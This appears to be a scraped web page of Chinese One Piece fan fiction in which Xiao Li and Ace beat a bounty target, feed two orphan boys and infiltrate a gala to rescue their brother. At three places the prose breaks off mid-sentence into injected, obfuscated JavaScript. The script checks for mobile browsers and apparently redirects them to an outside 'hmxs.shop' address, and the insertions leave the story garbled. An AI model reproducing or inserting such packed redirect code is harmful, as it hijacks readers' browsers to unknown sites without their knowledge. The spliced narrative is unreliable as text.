“凶星!别他妈看不起人了!”巴里已经彻底陷入了某种狂躁状态,除了头颅变成的炮口,他的双手也突兀地变成小型炮管,毫不停歇地倾泻火力,“老子在进推进城前,也是在新世界有头有脸的大人物!现在我更是加入了黑胡子海贼团!只要拿下你这个白胡子团员的脑袋,我说不定就能当上队长!谁还管这些破烂!” 轰轰轰轰—— 爆炸声连成一片,烟尘滚滚升起,几乎将整条小巷连同附近的街区都笼罩进去。能见度急速下降。 巴里看似疯狂,实则心中冷笑。他早就听说过了,“凶星”和“火拳”几乎形影不离。那个传说中拒绝了七武海邀请、海贼王罗杰的儿子、白胡子海贼团二番队的队长、从马林梵多死而复生的男人才是真正的致命威胁。这片烟雾,正是他为自己创造的逃生屏障,这疯猫就让她自己在这里乱叫吧 炮击声骤然停止,巴里毫不犹豫,转身就朝着烟雾最浓、与港口相反的方向发足狂奔,只要混入了人群或复杂巷道…… 然而,他刚冲出不到十米—— 一道黑影以远超他想象的速度,撕裂烟尘从天而降,携着凌厉的风声和冰冷的杀气 “什么?!”巴里只来得及偏转半个身体,就被一股巨大的力量狠狠扑倒在地,覆盖着漆黑武装色的手臂狠狠锤在他的后背,胸口结结实实地砸在碎石地上,痛得他眼前一黑。 小狸单膝抵在他的后腰,另一只脚踩住他试图反抗的手臂,整个人的重量和巧劲完美地压制了他的核心。 “安静点。”她的声音从他头顶传来,平静得有些可怕 巴里拼命挣扎,肌肉贲张,却发现身上那看似纤细娇小的少女,竟重若千钧,纹丝不动,他甚至感觉自己的肩胛骨在那只脚下发出不堪重负的咯吱声。 “你刚刚,”小狸歪了歪头,似乎想起了什么更让她在意的事,语气带上一丝明显的不爽,“叫我‘凶星’了是吧?”她脚下微微用力。 “呃啊!”巴里痛呼。 “我最讨厌这个名字了!”小狸鼓起脸颊,“明明我的悬赏令上好好写着‘XAO LI’!为什么你们都只记得报纸上那两个破字啊!” 巴里:“……” 这白胡子船上的疯女人是不是脑子有问题?!现在是计较这个的时候吗?! 趁着她似乎因为称呼问题而有点分神,巴里眼中凶光再闪,被踩住的手臂肌肉诡异蠕动,手掌瞬间变形为一个小型炮口,对准了小狸的侧腹!同时,他的头颅也再次开始转向,变形 “同样的招式,你以为我还会上当吗?” 小狸的声音冷了下来。这一次,她没有闪避。她空着的左手闪电般探出,五指张开,在那头颅炮口红光微亮的刹那—— “呼!” 一团炽烈、凝实、剧烈燃烧着的炽热火球凭空在她掌心点燃,火焰跳跃着,散发出让空气都扭曲的高温 然后,她将这团火球毫不犹豫地且精准地,一把塞进了巴里正在变形的头颅炮口之中! “唔——!!!” 炮口内部传来一声沉闷到令人牙酸的爆鸣,仿佛闷雷在铁罐里炸开。巴里整个人剧烈地痉挛起来,变形到一半的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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小狸的尾巴得意地翘起来,尖梢愉快地卷了卷。“没错没错,”她微微扬起下巴,“再多夸两句也没关系哦?” “我从来没见过比你更厉害的人!”男孩立刻大声满足她,小脸兴奋得通红,“刷的一下就到坏人身后了!啪的一下就把他打倒了!还有火!姐姐你会喷火吗?” 这时,强尼也走到了近前,他比肯稍微沉稳一点,但眼中的渴望同样明显。他看了看小狸,又看了看旁边抱着胳膊、一脸看好戏表情的艾斯,最后深吸一口气,像是下了很大决心,对着小狸大声说: “我叫强尼,他是肯。姐姐……你能不能……教教我们?” “诶?”小狸眨眨眼,低头看着两个男孩写满期盼和倔强的小脸,“教你们?教什么?”她疑惑的蹲下身,和他们平视,“打架吗?”她本来准备像卡普教育村里小鬼头一样规劝他们“虽然保护自己是很重要…但是你们现在要做的是好好吃饭,早睡早起,听大人的话……”她还没说完,小男孩似乎完全没有听她在说什么,猛的打断了她充满了卡普味的唠叨 “对!”肯用力点头,双手握紧小拳头,“我们……我们想要变得像姐姐一样厉害!我们想要……很多很多钱!” 小狸脸上的笑容瞬间僵住,随即变成一种极其复杂、难以形容的表情。她张了张嘴,似乎想说什么,但最终只是抬手捂住了脸,肩膀微微抖动,从指缝里漏出一声长长的、充满了同病相怜和无奈感慨的叹息: “唉……” 那真是抱歉了啊,小家伙们。 她放下手,露出一张写满“人生艰难”的脸。 因为姐姐我,也想要很多、很多、很多的钱啊! 88.五百万贝利的英雄课 将昏迷不醒、脸上还带着焦黑痕迹的巴里交到镇上联络点那个一脸震惊的赏金猎人手中,并拿到盖有海军支部印章的收据后,小狸仔细地将票据折好,收进她那个以藏送给她的、如今略显鼓囊的钱包里。整个过程,强尼和肯就像两条小尾巴,寸步不离地跟在她身后,四只…确切说是三只眼睛紧紧盯着她的每一个动作,仿佛在观摩什么神圣的仪式。 “好了,又拿到一笔钱了……”小狸满意地拍了拍钱包,尾巴愉快地晃动,一转身,差点撞上几乎贴在她背后的两个小脑袋,“呃,你们……还不回家吗?天都快黑透了,你们的家人会着急的。”她指了指已经完全沉入海平面之下、只在天边留下一抹暗红余晖的天空。 “我们……”肯和强尼对视一眼,刚才看“黑吃黑”时的兴奋劲头褪去,两张小脸上又浮现出那种混合着局促、不安和某种倔强的神色。肯搓了搓衣角,声音比蚊子哼哼大不了多少:“没关系的。” 艾斯靠在旁边一根路灯柱上,闻言挑了挑眉。小狸则愣住了:“怎么会没关系呢?那你们晚上睡哪里?” “就是……没关系的。”强尼低声说,独眼望着地面,“也不会……有人来找我们。” 这个说法很微妙。小狸和艾斯交换了一个眼神。艾斯耸耸肩,一副“你自己看着办”的表情,但眼神里并没有反对的意思。 肯像是下定了决心,抬起头,眼睛亮闪闪地看着小狸,语气带着一种孩子气的、不容置疑的热情:“姐姐!艾斯大哥!你们还没找到住的地方吧?要不要……去我们家?虽然很小很旧,但是很干净的!我和强尼可以睡地板!” 这个提议让艾斯和小狸都哑然失笑。去两个初次见面、还试图袭击过他们的小男孩家借宿?无论怎么想都太离谱了。 “不行哦,肯。”小狸蹲下来,温和但坚定地摇头,“我们不能随便去别人家,尤其是你们还是小孩子。你们的家人会担心的。” “我们没有……”肯脱口而出,又立刻咬住嘴唇,把后面的话咽了回去。强尼也抿紧了嘴,别开了视线。 没有家人?小狸心里一沉。她看着两个孩子身上虽然旧但浆洗得发白的衣服,看着他们明显比同龄人瘦削的肩膀和眼中那份过早出现的倔强与警惕,某种熟悉的、源自锈带的记忆隐隐被触动。 “那……你们现在和谁一起生活?”她放柔了声音。 “……大哥。”沉默了几秒,强尼低声回答,“我们兄弟三个,住在一起。” “大哥?”小狸追问,“他在哪里?为什么让你们这么晚还在外面?” 肯的眼圈一下子红了。他用力吸了吸鼻子,像是要把涌上来的泪意憋回去,声音带着哽咽:“大哥……大哥被坏人抓走了!我们……我们是在想办法救他!” 接下来的十分钟里,在逐渐浓郁的夜色和远处港口昏黄的灯光下,两个男孩断断续续、时而抢话时而补充地,说出了他们的故事。 他们确实是孤儿,父母很早就在海难中去世。兄弟三人相依为命,最大的哥哥今年也只有十四岁,却硬是用瘦弱的肩膀扛起了“家”。他什么活都干——码头搬运、酒馆打杂、甚至给人跑腿送信。钱很少,日子很苦,但大哥总是说:“别怕,有哥哥在。” 但大概半年前,大哥开始变得神秘。他常常深夜才回家,有时身上带着伤,有时又会变魔术似的拿出一些钱和食物,说是“好心的老爷赏的”或者“帮了大忙得到的报酬”。直到有一次,肯和强尼偷偷跟踪,才发现他们的大哥,那个总是摸着他们的头说“要当正直的人”的大哥,竟然是个“怪盗”。 他专门偷窃镇子上那些富商和□□头目的东西,从他们指缝漏出来的一点都够他们兄弟三个生活好久,丢了那几枚金币多数时间也不会有人追究,兄弟三个过了一段时间的好日子。甚至到后来偷来的钱,除了一部分留下糊口,剩下的他还会悄悄塞进那些更困难的邻居门缝里,或者换成药品食物,送去他们三个偷溜出来的孤儿院。 “大哥说,他不是小偷,是‘暗夜英雄’。”肯说起这个时,眼睛里闪烁着混合着担忧与崇拜的光,“他说英雄只能在暗处,不能让人知道。他还说……我们家,有一个英雄就够了。他不准我们学他,让我们好好长大,做能走在阳光下的、堂堂正正的人。” 然而一周前,“英雄”失手了。他试图偷取镇上一个势力颇大的□□头目“鲨鱼”丹顿的东西结果被当场抓住。 丹顿没有立刻杀他,而是派人去孤儿院传话:想要他们大哥的命,就拿五百万贝利来赎。 “五百万……”小狸重复这个数字,眨了眨眼。不是觉得多,而是……太少了。少得让她有点恍惚。她刚刚还在为一亿贝利的债务和几千万的赏金目标精打细算,忽然听到“五百万”这个数字,简直有一种不真实的、近乎亲切的感觉。 她看着眼前两个为了五百万贝利就要铤而走险、去袭击“十亿”大海贼的小豆丁,心里某个地方酸软得一塌糊涂。她的手甚至下意识地摸向了钱包——五百万,她现在就能拿出来。她几乎就要这么做了。 “所以,”她稳了稳情绪,问,“你们还差多少?” 两个男孩对视一眼,然后同时低下头,声音细若蚊蚋: “……五百万。” 小狸:“……” 好吧,一分没凑到。想想也是,两个不到十岁的孩子,能有什么办法? “大哥已经被抓走三天了……”肯的眼泪终于掉下来,他用脏兮兮的袖子胡乱抹着脸,“家里的东西也吃光了……我们、我们实在没办法了……才想到……” 才想到对报纸上见过的最“值钱”的脸下手。选中艾斯,不是因为他看起来“傻乎乎”(虽然肯坚称这是原因之一),更根本的原因是,在他们有限的信息来源里,只有“火拳艾斯”这张脸和那个天文数字的赏金,是他们唯一有清晰认知的“目标”。 空气安静了片刻,只有肯压抑的抽泣声和海风穿过巷道的呜咽。 忽然,一只温暖的手落在肯乱糟糟的头发上,揉了揉。小狸站了起来,脸上的表情已经恢复了平时的明朗,甚至还带着点跃跃欲试。她一手拉起肯,另一只手伸向强尼。 “走吧!”她声音清脆,带着一种不容置疑的肯定。 “去、去哪儿?”肯呆呆地问,眼泪还挂在睫毛上。 “吃饭去呀!”小狸叉起腰,下巴微扬,摆出“师傅”的架势,“你们没听见你们肚子在叫吗?咕噜咕噜的,师傅我啊,怎么能让亲爱的弟子饿着肚子呢?师傅的第一课就是,不管什么时候,都要好好吃饭!” 她说的正是之前提到过、他们原本打算去尝尝鲜的那家颇有名气的本地小餐馆。艾斯看着小狸瞬间进入“为人师表”状态的模样,忍不住扶额低笑,但还是迈步跟了上去。 餐馆里暖黄的灯光和食物香气瞬间包裹了他们。小狸豪气地点了一大桌子菜——烤得金黄流油的整鸡,堆成小山般的肉酱意面,酥脆的炸鱼薯条,热气腾腾的蔬菜浓汤,还有加了蜂蜜的安慰小孩子专用热牛奶,整整三大杯,嗯,牛奶这种东西当然有她自己的份啦。 两个男孩一开始还有些拘谨,但在小狸模仿卡普语气下的“不吃光就是浪费,浪费就要挨揍”的半威胁半鼓励下,很快就被饥饿和美食征服,刀叉并用,狼吞虎咽起来。 趁着他们埋头苦吃的间隙,小狸的视线落在强尼左眼的黑色眼罩上。 “强尼,”她轻声问,语气随意得像在聊天气,“你的眼睛……是受伤了吗?是不是那个叫丹顿的人打的?” 强尼正在对付一根鸡腿,闻言动作一顿。他慢慢放下叉子,犹豫了一下,摇了摇头,然后抬起手,解开了眼罩的带子。 眼罩下,并非预想中可怖的伤疤或空洞。那只左眼完好无损,瞳孔颜色和右眼一样,只是……眼神有些飘忽,不太能准确地对焦。 “不是受伤。”强尼低声说,声音平静,却藏着一丝不易察觉的自卑,“是从小就这样。这只眼睛……生病了。它只能看到很远很远地方的东西,而且看得特别清楚。但是,它看到的东西,和右眼看到的……接不上。” 他试图解释那种感觉:“就像……我现在右眼能看到桌子这边,左眼看到的却是外面小巷尽头那个喝醉了的大叔。小时候,我总因为这个摔跤,撞到东西,平衡也不好……别人都笑我,说我是‘歪眼强尼’。” 肯立刻放下叉子,大声说:“才不是!大哥说了,强尼的眼睛是‘鹰之眼’!是最厉害的!” 强尼的耳朵尖有点红,他继续道:“后来,大哥不知道从哪里找来了这个眼罩。他给我戴上,说这样特别帅,像大海上的独眼船长。他还说……”男孩的声音更轻了,却带着一种被小心珍藏的温暖,“他说,这只不一样的眼睛,是神明给我的礼物。因为神明太喜欢我了,想让我能看到别人看不到的风景,所以才给了我这只眼睛。遮起来,不是因为它不好,是为了让我能像那些不被特殊爱着的……像普通人一样走路,他说它是我的秘密武器。” 小狸安静地听着,蓝色的瞳孔里映着灯光,也映着男孩谈起大哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17000126|192958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时那混合着思念与骄傲的神情。她忽然想起在莫比迪克号上,那个总是安静擦拭狙击枪、眼神锐利能穿透暴风雨的身影。 “强尼,”她忽然开口,语气有些怀念,“你知道‘狙击手’吗?” 强尼茫然地摇了摇头。 “那是一种……能在很远很远的地方,用一颗子弹就决定战局的、超级厉害的战斗员。”小狸比划着,“他们需要有一双能看穿迷雾、锁定目标的、最锐利的眼睛。我觉得……”她顿了顿,看着强尼那只虽然不聚焦、却似乎真的蕴藏着某种特殊潜能的左眼,“你说不定,很适合哦。” “真、真的吗?”强尼的独眼睁大了,里面第一次迸发出属于孩子的好奇与憧憬。 “嗯!如果有机会,”小狸笑了,尾巴轻轻摆动,“我把我的老师介绍给你认识吧!他叫米哈尔,是个超级厉害、人也超级好的狙击手!他一定会很喜欢你,也很乐意教你的!” 强尼的眼睛亮了亮,用力的点了点头,旁边的肯嘴里塞满了食物,一边说话一边向外面喷 “师傅!师傅!那我呢!” 小狸敲了一下他的头“吃饭的时候不要说话!” 肯不服气的指了指艾斯“可是大哥哥还一边吃一边睡觉呢!” 小狸一时语塞,转移了话题“你好好吃饭,好好长大!这么小的力气和个子,还不够塞牙缝的呢” “师傅好可怕!要把我吃掉么!?” “快点闭嘴吃饭啦!” “闭嘴怎么吃饭啦。” 小狸挥了挥拳头,肯不再贫嘴耸了耸肩,继续大口大口的吃起来 一顿风卷残云,桌上的食物被扫荡得七七八八。吃饱喝足,温暖的饱腹感暂时驱散了寒冷和恐惧,但随之而来的,是对大哥处境更深切的担忧。肯和强尼捧着热牛奶,小脸上又蒙上了阴影。 小狸看着他们,放下手里的杯子,发出清脆的“嗒”一声。 “好了!”她拍了拍手,吸引两个男孩的注意力,“徒弟吃饱了,师傅的第一课也算完成了。那么现在——”她站起来,眼中闪烁着某种明亮的、跃跃欲试的光芒,“师傅的第二课就是永远信任你的家人!所以我们现在就去把亲爱的弟子的家人,平平安安地带回来!” “诶?”肯和强尼同时愣住了。 小狸已经走到了他们身边,伸手揉了揉两个小家伙的脑袋,语气轻松得像是要去郊游:“走吧!带路!我们去那个‘鲨鱼’丹顿的地盘逛逛。” “小狸。”艾斯的声音从旁边传来。他不知何时已经结完了账,靠在门边,双手插在裤兜里,脸上带着惯有的、有点慵懒的笑意,但眼神里却有一丝认真的询问,“你打算怎么做?直接打进去?这里毕竟是东海,我们不太适合闹得太大。”他想了想又小声说了一句“爷爷会找过来哦。” “放心啦,哥哥!”小狸缩缩肩膀,转过身,对他吐了吐舌头,笑容狡黠又明亮,“我才不会那么笨和地头蛇硬碰硬呢!那多麻烦,还可能带来骚乱。”她拍了拍自己那个鼓鼓囊囊的钱包,发出哗啦的轻响,语气里带着一种“土豪”般的理直气壮: “毕竟我现在,可是‘有钱人’了呀!” 艾斯看着她那副“用钱砸死你”的小模样,先是一愣,随即摇头失笑,最终化为一声长长的、充满了无奈与纵容的叹息。 他看着小狸兴冲冲地拉着还有些懵懂的两个男孩走出餐馆,背影融进小镇的夜色里。路灯将他们的影子拉长,那娇小的身影此刻却仿佛充满了某种“豪掷千金”的魄力。 明明自己天天念叨着欠了一亿贝利的巨债,为了几千几万的赏金差额精打细算。可现在,面对两个才认识不到半天、连“弟子”都算不上的孩子,为了他们那个“怪盗英雄”大哥,五百万贝利说给就给,眼睛都不眨一下。而且不想也知道,那只是一个小男孩,那个“鲨鱼”丹顿所谓的五百万赎金,根本就是狮子大开口,没打算真的放人,纯粹是羞辱和折磨罢了。 可他的小猫,还是决定了要去。用她那种天真的、直率的、甚至有点“笨”的方式……用钱解决。 艾斯迈步跟上,嘴角的笑意却越来越深,眼中满是柔软的星光。 他在心里默默升起一个疑惑 小猫这种对金钱既斤斤计较、又可以为在乎的人一掷千金的矛盾毛病,到底是从哪里学来的呢? 当然是从那个会为了一顿热饭而无比珍惜、也会把身上最后一贝利送给路边饿肚子的孩子的家伙那里学来的啊 是从你这里啊,艾斯。 89.五百万贝利的救援课 远离港口喧嚣的街区,街灯稀疏,光线昏黄,艾斯和小狸都套上了宽大的黑色罩衫,兜帽拉低,遮住了大半的面容。强尼和肯一左一右紧跟着他们,小手紧紧攥着两人的衣角,指节因用力而发白。 丹顿的宅邸与其说是住宅,不如说是个小型的堡垒。高耸的砖墙,紧闭的铸铁大门,门口像两尊门神般杵着两个黑衣人,抱着胳膊,表情冷漠,在昏暗的光线下几乎与墙壁的阴影融为一体。 小狸在心里默默翻了个白眼。为什么这些看起来就不像好人的家伙,都对一身黑这么执着?她腹诽着,但转念一想,又不得不承认,在夜晚,这身行头确实便于隐藏和行动,就像她现在一样,这么看来“坏人审美”的根源也是实用主义。 他们刚走近大门,两个黑衣守卫立刻上前一步,手臂交叉,形成一道无声的屏障。 “站住,找谁?”左边的守卫声音粗嘎,目光在罩衫上扫视,带着审视。 肯鼓起勇气,往前蹭了半步,仰起小脸:“我、我们找丹顿老大!他抓了我们大哥!我们……我们是来……赎人的” “老大不在。”右边的守卫打断他,语气不容置疑,“有事下次再来。” “那、那我们能看看我们大哥吗?就看一眼好不好?”强尼的独眼里满是急切,声音带着哀求,“我们保证不惹麻烦!” 两个守卫对视了一眼,眼神里有某种隐晦的交流,随即同时摇头,动作整齐得像排练过。“不行。没有老大的命令,谁也不能进去。赶紧走,别在这儿碍事。” “求求你们了!”肯的眼泪开始打转,上前想拉住守卫的袖子,却被轻易挥开。 艾斯轻轻叹了口气,兜帽下的阴影里,嘴角似乎弯了弯。他伸出手,一手一个,按住了还想往前冲的两个男孩的肩膀,将他们稍稍往后带了带。 “看来,‘友好’的沟通方式不太管用。”他的声音从兜帽下传出,带着点懒洋洋的无奈,随即转向两个守卫,“二位,借一步说话?” 守卫警惕地看着他,没有动。 下一秒,他们甚至没看清艾斯是怎么动的,只觉眼前黑影一晃,脖颈后传来不容抗拒的力道,天旋地转间,已被拖进了大门旁边的巷道深处。 肯和强尼瞪大了眼睛,下意识地想跟进去,小狸拦住了他们,轻轻摇头,自己则侧耳倾听巷子里的动静。 巷子里起初传来几声短促的闷哼和挣扎的响动,很快便安静下来。过了一会儿,艾斯慢悠悠地走了出来,拍了拍手上并不存在的灰尘。而那两个刚才还威风凛凛的守卫此刻正瘫坐在巷子深处的阴影里,背靠着墙壁,身体微微发抖,看向艾斯的目光充满了恐惧。 艾斯声音依旧平和,甚至算得上友善:“现在,能好好回答他们的问题了吗?那个被抓来的少年在哪?” 两个守卫争先恐后地开口,声音因恐惧而变调,语速快得像倒豆子: “被、被老大带走了!” “今晚领主府有慈善晚会!很多大人物都会去!” “老大看中那小子偷东西的本事,逼他去偷领主珍藏的传家宝!” “现在……现在应该已经到了!宴会早就开始了!” “老领主是好人……”肯喃喃道,眼泪啪嗒啪嗒往下掉,“哥哥说过,没有领主大人的政策,我们早就被迫分开了……他绝对不会愿意的……” 强尼紧紧咬着下唇,眼里的光芒黯淡下去,变成了深重的忧虑:“丹顿那个大坏蛋……大哥会不会已经挨打了……” 小狸没想过事情会变得这么复杂,她设想过很多种情况:丹顿坐地起价、故意刁难、甚至可能已经……但她没料到会是这样。事情不再是一手交钱一手交人的简单交易,变得复杂而棘手。 她挠了挠头,尾巴在罩衫下烦躁地甩动了两下。怎么办?她不喜欢复杂,但更不喜欢半途而废,尤其当那哭红的眼睛正满怀期待地望着她的时候。 “要不然……”她深吸一口气,像是下定了决心,声音不大,却异常清晰,“我们也去那看看吧?……那个慈善会” 一旦认准了方向,小猫的行动力是惊人的。领主府位于城镇地势最高的区域,远远就能看到那片被灯光映照得如同白昼的华丽建筑群。他们避开正门车水马龙的红毯与宾客,绕到宅邸侧面的花园。透过巨大的落地玻璃窗,可以清晰地看到里面衣香鬓影、觥筹交错的热闹场景。 小狸的目光如同最精准的探照灯,快速在人群中扫视。很快,她锁定了目标——一个穿着与周围侍者无异的白色衬衫、黑色马甲、打着领结的少年。他比强尼和肯描述的要显得更加瘦高,正端着银质托盘,在宾客间僵硬地穿梭。他的脸色有些苍白,眼神游移,动作小心翼翼,与周围训练有素的侍者格格不入。每当有人与他交谈或取酒,他的脊背都会下意识地绷紧。 “是他吗?”小狸低声问身边的强尼。 强尼的独眼紧紧盯着窗内的身影,用力点了点头,声音哽咽:“是乔治大哥!” 确认了目标,新的问题来了:怎么进去?他们这身打扮——艾斯和小狸的黑色罩衫,两个孩子破旧的衣裳——与眼前这个珠光宝气的世界格格不入,连靠近正门都会被立刻请走。 小狸的目光再次扫过宴会厅内部,然后移向宅邸外围。她眨了眨眼,忽然有了主意。 “艾斯,你看。”她拉了拉艾斯的袖子,指向那些在花园暗处、走廊边缘无声巡逻的身影,眼睛亮了起来,嘴角勾起一抹狡黠的弧度。 艾斯顺着她的手指看去。确实,无论是领主府的安保,还是之前丹顿手下的打手,似乎都对“黑西装”情有独钟,而且这么黑的天带墨镜真的还能看得清东西么? 几分钟后,在花园更深处,地上躺着两个被拔了衣服的倒霉蛋,限定款安保小狸和安保艾斯准备就绪。小狸带上墨镜,将长发在脑后高高束成利落的马尾,露出光洁的额头和那双在夜色中微微发亮的猫耳 “怎么样?像吗?”小狸转了个圈,男装对于她有点大,只能把袖子卷起来,黑色西装衬得她身形更加娇小,尾巴暂时被小心地约束在卷起来的裤装内。 “像不像都得上了。”艾斯咧嘴一笑,活动了一下手腕,“走吧,‘同事’,该去‘维护’宴会秩序了。” 他对肯和强尼低声嘱咐了几句,让他们在外面小巷相对安全的角落藏好,无论听到什么动静都不要出来。两个孩子用力点头,眼中充满了信任和紧张。 深吸一口气,小狸和艾斯整理了一下并不得体的“制服”,对视一眼,然后迈着尽可能自然的步伐,从阴影中走出,混入了那些在宅邸外围巡视的黑色身影之中 --- 宴会厅内,对于此时的乔治而言,每一分每一秒都是煎熬。 他穿着并不完全合身的制服,僵硬地穿梭于人群之间。手中是银质托盘冰冷的触感,汗水打湿了他的掌心。每一道掠过他的视线,无论是宾客漫不经心的打量,还是暗处丹顿手下鹰隼般的监视,都让他脊背发凉,肌肉紧绷。 “海蓝之心”。 老领主家族的传家宝,一颗据说能与海洋共鸣的深邃蓝宝石。它不仅仅是一件价值连城的首饰,更是这个城镇稳定与旧日荣光的象征。丹顿的野心不止于金钱或地盘,他想要的是更危险的东西——挑起事端,制造混乱,在贵族与领主之间早已微妙的权力天平上,狠狠踹上一脚,然后在贵族老爷们身上狠狠撕下一块肉来。 而乔治,这个被他从阴沟里挖出来、有着一双灵巧双手和明显软肋的孤儿,就成了他手中最趁手也最脆弱的工具。 “要么去把‘海蓝之心’给我弄出来,在宴会上制造点‘惊喜’……要么,明天你就去码头的鱼市,找你那两个弟弟的‘零件’吧。” 丹顿叼着雪茄的狞笑,至今仍在乔治噩梦中回荡。 他憎恨丹顿,更憎恨被当作棋子的自己。老领主是个真正的好人,颁布的法令让像他们这样的贫民孩子也能有简陋的屋檐遮风挡雨。他知道哪怕自己和弟弟们自称“暗夜英雄”,但本质上也是个小偷罢了,他偷恶人的不义之财,从未想过将手伸向真正给予庇护的人。 可他别无选择。弟弟们是他在这世上仅剩的家人,他需要用生命去守护他们。当丹顿的威胁如冰冷的刀锋抵在肯和强尼的脖子上时,乔治心中那点属于“英雄”的原则和骄傲,瞬间碎成了齑粉。 被迫答应时,他提出了唯一一个看似荒诞的条件:让丹顿的人去告诉他的弟弟们,他需要五百万贝利的赎金。这对他和弟弟们而言简直就是天文数字,是绝对无法企及的目标。乔治苦涩地想,这样,至少能让他们知道自己还活着,知道哥哥牵扯进了危险的事情,然后……希望他们能聪明一点,远远地逃开,逃到丹顿的魔爪伸不到的地方去。 他怎么可能想得到,他那两个傻得冒泡、却又勇敢得让他心碎的弟弟,会为了这个“不可能的任务”,为了他去袭击赏金十亿的大海贼 宴会的气氛愈发热烈,弦乐悠扬,笑声阵阵。乔治却感觉自己在深渊边缘独行。他强迫自己记住丹顿手下描述的宝石存放位置和守卫换班时间,大脑飞速运转着漏洞百出的计划,胃部因恐惧和恶心而痉挛。他能感觉到,丹顿那阴冷如毒蛇的目光,正穿过晃动的人影,牢牢锁定着他,带着审视、催促和不容置疑的威胁。 冷汗浸透了衬衫的后背,黏腻地贴在皮肤上。托盘越来越沉,眼前水晶灯的光芒开始晃动、模糊。压力如同实质的巨石,压在他的胸口,让他呼吸困难。 要撑不住了…… 这个念头在他濒临崩溃的意识中敲响。他仿佛看到弟弟们哭泣的脸,看到丹顿手下狰狞的笑,看到那颗冰冷的蓝宝石,以及它可能引发的、吞噬一切的混乱旋涡。 就在他眼前发黑,脚步虚浮,即将被这无形的重压碾碎的前一秒—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002680|192958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一只温热、干燥、带着不容置疑力量的手,突然从斜刺里伸出,稳稳地、紧紧地抓住了他冰凉颤抖的手腕! 乔治浑身剧震,托盘上的酒杯猛地一晃,酒液差点泼洒出来。他惊骇地转头,肾上腺素瞬间飙升至顶点,以为是被丹顿的手下发现,或是宴会保安察觉了异常。 映入眼帘的,却是一张陌生的脸。男人戴着遮挡大半面容的深色墨镜,嘴角却向上弯起一个轻松、甚至有点戏谑的弧度。他穿着一身与周围环境格格不入、却意外贴合此刻紧张氛围的黑色西装,领口随意地敞着,没有打领带。 而在男人身侧,站着一个同样身着黑西装的少女。少女微微倾身,凑近他,那双在墨镜边缘若隐若现的蓝色眼睛里,没有审视,没有威胁,只有一种清澈而急切的肯定。她的声音压得很低,却奇迹般地穿透了乔治耳中的嗡鸣,清晰无比地钻入他的脑海: “你是乔治对吧?放松点——是强尼和肯,让我们来救你的。” 强尼……肯…… 这两个名字如同破开乌云的闪电,瞬间击中乔治混沌的意识。救他?弟弟们?这怎么可能?他们从哪里找来这样两个……奇怪的人?无数的疑问爆炸般涌出,但更大的震撼是,弟弟们没有逃,他们在试图救他!用他们自己的方式! 希望,如同溺水者抓住的浮木般疯狂地涌了上来,瞬间冲垮了恐惧的堤坝。他张了张嘴,却发不出任何声音。 然而,这短暂的变故并未逃过一直紧盯着他的眼睛。 宴会厅另一端的立柱阴影下,“鲨鱼”丹顿脸上的横肉猛地一抽。他精心布置的棋子旁边,突然出现了两个意外的变数。那个戴墨镜的男人和少女,他们是谁?怎么混进来的?他们想干什么? 丹顿的眼神瞬间阴鸷,所有的闲适和伪装下的得意消失殆尽。他不再隐藏,对着隐藏在宾客中、伪装成侍者或富商随从的几名心腹手下,做了一个极其隐蔽却凌厉的手势——清除障碍,控制乔治! 几名手下立刻会意,放下手中的东西,看似随意地调整着位置,实则如同嗅到血腥味的鲨鱼,从不同方向朝着乔治和那两位不速之客悄然围拢过来,手已经不动声色地探向了衣物下隐藏的武器。 敏锐的猫耳捕捉到了人群脚步节奏的微妙变化和那几道骤然聚焦的、不善的视线。小狸墨镜后的瞳孔一缩,立刻扯了扯艾斯的袖子。 艾斯甚至没有回头去看围拢过来的威胁,他脸上的笑容扩大了,带着一种“果然不会太顺利”的了然和兴奋。他抓着乔治手腕的手猛地用力,不是拉扯,而是—— “没时间上演感人戏码了!”艾斯低喝一声,在乔治和周围几个靠近的宾客惊愕的目光中,手臂一揽,腰身一沉,以令人瞠目结舌的流畅动作,直接将瘦高的乔治像扛一袋面粉般,“嘿”地一下甩到了自己宽阔的肩膀上! “什——?!” 乔治只来得及发出一声短促的惊呼,整个世界就颠倒了过来。胃部被艾斯坚硬的肩骨顶住,视线里是飞速倒退的华丽地毯和无数双惊呆的皮鞋、高跟鞋。 “要逃了哦——!!!” 艾斯的声音洪亮地响起,带着毫不掩饰的张扬和一丝恶作剧般的欢快,瞬间压过了宴会厅的音乐和谈笑声。 下一刻,他动了! 没有迂回,没有隐藏,扛着一个人,他就像一颗出膛的黑色炮弹,朝着最近的一扇侧廊大门猛冲过去!步伐之大,速度之快,带起的劲风掀动了沿途女士的裙摆和侍者托盘上的餐巾! “呀啊——!” “怎么回事?!” “拦住他!” 惊叫声、呵斥声、酒杯摔碎的清脆响声瞬间炸开!原本优雅和谐的宴会场面,被这突如其来的、粗暴直接的“抢劫”行为彻底搅乱! 